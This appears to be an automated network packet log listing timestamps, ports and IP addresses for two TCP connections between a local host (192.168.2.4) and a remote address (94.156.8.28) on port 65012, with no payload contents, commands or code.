May 19, 2024 06:01:07.150718927 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150742054 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150744915 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150762081 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150772095 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150798082 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150798082 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150818110 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150825977 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150837898 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150852919 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150859118 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150876999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150880098 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150902987 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150907040 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150928974 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150933981 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150959015 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150960922 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150996923 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.151015997 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152077913 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152121067 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152147055 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152173042 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152195930 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152199030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152225971 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152226925 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152256966 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152259111 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152283907 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152302980 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152309895 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152331114 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152338028 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152348995 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152365923 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152374983 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152391911 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152393103 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152419090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152430058 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152451038 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152462959 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152477026 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152512074 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152527094 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152539968 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152566910 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152568102 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152594090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152595043 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152615070 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152622938 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152650118 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152676105 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.152687073 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152712107 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.152736902 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153435946 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153469086 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153495073 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153506994 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153522968 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153533936 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153554916 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153573990 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153587103 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153614044 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153640032 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153645039 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153666973 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153671026 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153693914 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153693914 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153722048 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153738976 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153748989 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153763056 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153776884 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153804064 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153809071 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153830051 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153841019 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153857946 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153862953 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153884888 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153894901 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153912067 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153915882 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153935909 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.153940916 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153968096 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.153994083 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.154006004 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.154021025 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.154031038 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.154048920 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.154067993 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.154107094 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.156742096 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.156841040 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.156857014 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.156883955 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.156918049 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.156949997 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.156974077 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157001019 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157027006 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157052994 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157062054 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157078981 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157095909 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157105923 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157118082 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157140017 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157166958 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157167912 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157193899 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157195091 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157215118 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157222986 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157250881 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157255888 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157279015 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157299042 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157305002 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157316923 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157334089 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157352924 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.157362938 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157388926 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157416105 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157442093 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157469988 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157496929 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157521963 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157551050 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157577038 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157603025 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157629013 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157655001 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.157680988 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160208941 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160239935 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160267115 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160293102 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160319090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160346031 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160372019 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160397053 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160423040 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160449982 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160475969 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160501957 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160527945 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160552979 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160578966 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160604954 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160629988 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160655975 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160681009 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160706997 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160732031 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.160757065 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161425114 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161456108 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161482096 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161508083 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161534071 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161561012 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161587000 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161612988 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161638975 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161665916 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161690950 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161716938 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161742926 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161767960 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161793947 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161822081 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161848068 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161874056 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161899090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161925077 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.161951065 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.162832975 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.162863970 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168559074 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168586969 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168612957 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168638945 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168664932 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168692112 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168716908 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168744087 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168768883 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168795109 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168822050 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168848038 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168874025 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168900013 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168926954 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168952942 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.168978930 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.169003963 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.202080011 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.207168102 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.257014036 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.030170918 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.030595064 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.034065962 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.036130905 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.036420107 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.041069031 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.041275024 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.042105913 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.091893911 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.389678001 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.395030975 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.395159960 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.399828911 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.399859905 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.399888039 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.399899960 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.399914980 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.399929047 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.399954081 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.399960041 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.399982929 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.399995089 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.400023937 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.400049925 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.400062084 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.400079966 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.400140047 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.404659986 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.404689074 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.404756069 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.409498930 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.409527063 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.409554958 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.409575939 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.409598112 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.409626007 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.409640074 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.409657955 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.409687996 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.446865082 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.447036028 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.495016098 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.495229959 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.542924881 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.543025017 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.581070900 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.581315041 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.586360931 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.586431026 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591188908 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591218948 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591250896 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591264009 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591281891 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591308117 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591329098 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591331959 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591353893 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591357946 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591386080 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591398954 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591413975 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591424942 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591442108 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591469049 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591461897 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591496944 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591497898 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591520071 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591526031 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591555119 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591557026 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591583014 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591593981 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591610909 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591614962 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591639042 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591649055 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591666937 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591691971 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591695070 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.591731071 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.591753006 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.596031904 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.596136093 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.600732088 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.600759983 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.600789070 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.600805998 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.600816965 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.600837946 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.600857019 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.600863934 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.600889921 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.600893021 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.600944042 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.639112949 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.639534950 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.672513008 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.672656059 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678129911 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678195000 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678602934 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678634882 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678662062 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678689003 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678690910 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678709030 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678716898 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678745031 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678750038 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678772926 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678777933 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678802013 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678805113 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678829908 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678857088 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678867102 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678884983 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678896904 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678915024 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678922892 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678942919 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678946972 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678970098 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.678991079 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.678997040 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.679023027 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679024935 CEST	65012	49733	94.156.8.28	192.168.2.4
